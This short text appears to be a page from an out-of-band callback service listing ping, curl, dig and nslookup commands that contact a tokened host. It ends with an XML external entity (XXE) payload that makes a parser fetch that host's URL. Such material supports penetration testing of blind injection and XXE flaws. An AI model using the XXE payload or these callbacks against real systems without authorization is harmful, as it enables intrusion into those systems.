$ ping -c1 -p 00f5c4179c0127a128cfac6463e2b000 unhack.ca
 

$ curl http://unhack.ca/p/f5c4179c0127a128cfac6463e2b0
 

$ dig f5c4179c0127a128cfac6463e2b0 @unhack.ca
 

$ dig f5c4179c0127a128cfac6463e2b0.ns.unhack.ca
 

C:\> nslookup f5c4179c0127a128cfac6463e2b0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f5c4179c0127a128cfac6463e2b0">]>
    <foo>&xxe;</foo>